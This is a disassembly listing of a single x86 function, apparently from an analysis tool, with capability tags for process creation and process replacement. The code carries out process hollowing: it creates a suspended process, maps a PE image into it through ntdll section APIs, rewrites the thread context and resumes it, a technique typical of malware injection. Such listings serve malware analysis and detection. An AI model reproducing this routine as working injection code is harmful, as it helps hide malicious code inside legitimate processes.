Function at 0x416bcf
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Resume thread
Terminate process
Use process replacement

Disassembly:
sub esp, 0x80
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor eax, eax
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov ebp, edx
push edi
mov edi, dword [esp + 0x94]
mov dword [esp + 0x34], ebp
mov dword [esp + 0x30], ecx
mov dword [esp + 0x1c], eax
push str.ZwCreateSection
push str.ntdll
mov dword [esp + 0x34], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call esi
push eax
call ebx
push str.ZwMapViewOfSection
push str.ntdll
mov dword [0x470d90], eax
call esi
push eax
call ebx
push str.ZwUnmapViewOfSection
push str.ntdll
mov dword [0x470d84], eax
call esi
push eax
call ebx
push str.ZwClose
push str.ntdll
mov dword [0x470d88], eax
call esi
push eax
call ebx
cmp dword [0x470d84], 0
mov dword [0x470d8c], eax
je 0x416f60
cmp dword [0x470d88], 0
je 0x416f60
cmp dword [0x470d90], 0
je 0x416f60
test eax, eax
je 0x416f60
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.00435330
add esp, 0xc
mov dword [esp + 0x48], esi
push 0x10
push ebx
push edi
call fcn.00435330
mov eax, 0x5a4d
add esp, 0xc
cmp word [ebp], ax
jne 0x416f60
mov esi, dword [ebp + 0x3c]
add esi, ebp
cmp dword [esi], 0x4550
jne 0x416f60
mov eax, dword [esi + 0x50]
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ebx
mov eax, dword [esi + 0x34]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x4c]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [esp + 0x50]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x416f5a
push 4
push 0x1000
push 4
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [esp + 0x3c], ebx
mov dword [ebx], 0x10007
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x416f24
lea eax, [esp + 0x3c]
push eax
push 4
lea eax, [esp + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_ReadProcessMemory]
test eax, eax
je 0x416f24
push 0
push 0x8000000
push pe_nt_image_headers32
lea eax, [esp + 0x4c]
push eax
push 0
push 0xf001f
lea eax, [esp + 0x30]
push eax
call dword [0x470d90]
test eax, eax
jne 0x416f24
movzx eax, word [esi + 0x16]
not eax
and eax, 1
mov dword [esp + 0x24], eax
jne 0x416da1
mov eax, dword [esp + 0x28]
push eax
push dword [edi]
mov dword [esp + 0x18], eax
call dword [0x470d88]
push pe_nt_image_headers32
xor ecx, ecx
lea eax, [esp + 0x24]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x2c]
push eax
push dword [edi]
push dword [esp + 0x3c]
call dword [0x470d84]
test eax, eax
je 0x416e0d
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push dword [esp + 0x18]
call dword [0x470d8c]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov ebx, dword [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
inc ebx
push 0
mov dword [esp + 0x20], ebx
cmp ebx, 0x64
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop eax
jbe 0x416bfc
jmp 0x416f60
push pe_nt_image_headers32
xor ecx, ecx
lea eax, [esp + 0x24]
push ecx
push 1
push eax
push ecx
push ecx
push ecx
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
push dword [esp + 0x3c]
call dword [0x470d84]
test eax, eax
jne 0x416f24
cmp dword [esp + 0x24], eax
je 0x416e47
mov eax, dword [esp + 0x10]
mov dword [esi + 0x34], eax
push dword [esi + 0x54]
push ebp
push dword [esp + 0x1c]
call fcn.00434db0
and dword [esp + 0x3c], 0
xor ecx, ecx
mov eax, dword [ebp + 0x3c]
add esp, 0xc
cmp cx, word [esi + 6]
jae 0x416ea7
mov edi, dword [esp + 0x34]
add ebp, 0x10c
mov ebx, dword [esp + 0x30]
add ebp, eax
push dword [ebp - 4]
mov eax, dword [ebp]
add eax, edi
push eax
mov eax, dword [ebp - 8]
add eax, dword [esp + 0x1c]
push eax
call fcn.00434db0
movzx eax, word [esi + 6]
lea ebp, [ebp + 0x28]
add esp, 0xc
inc ebx
cmp ebx, eax
jl 0x416e77
mov edi, dword [esp + 0x94]
mov ebx, dword [esp + 0x38]
cmp dword [esp + 0x24], 0
mov ecx, dword [esp + 0x10]
je 0x416ed0
mov eax, dword [esp + 0x28]
cmp eax, ecx
je 0x416ed0
push 0
push ecx
mov ecx, dword [esp + 0x1c]
push 0
push eax
call fcn.00416fe3
mov ecx, dword [esp + 0x20]
add esp, 0x10
cmp dword [esp + 0x2c], ecx
je 0x416ef9
push 0
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
je 0x416f24
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x28]
add eax, ecx
push ebx
mov dword [ebx + 0xb0], eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
test eax, eax
je 0x416f24
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
cmp eax, 0xffffffff
je 0x416f24
mov al, 1
jmp 0x416f62
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [0x470d88]
push dword [esp + 0x18]
call dword [0x470d8c]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
jmp 0x416f60
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x80
ret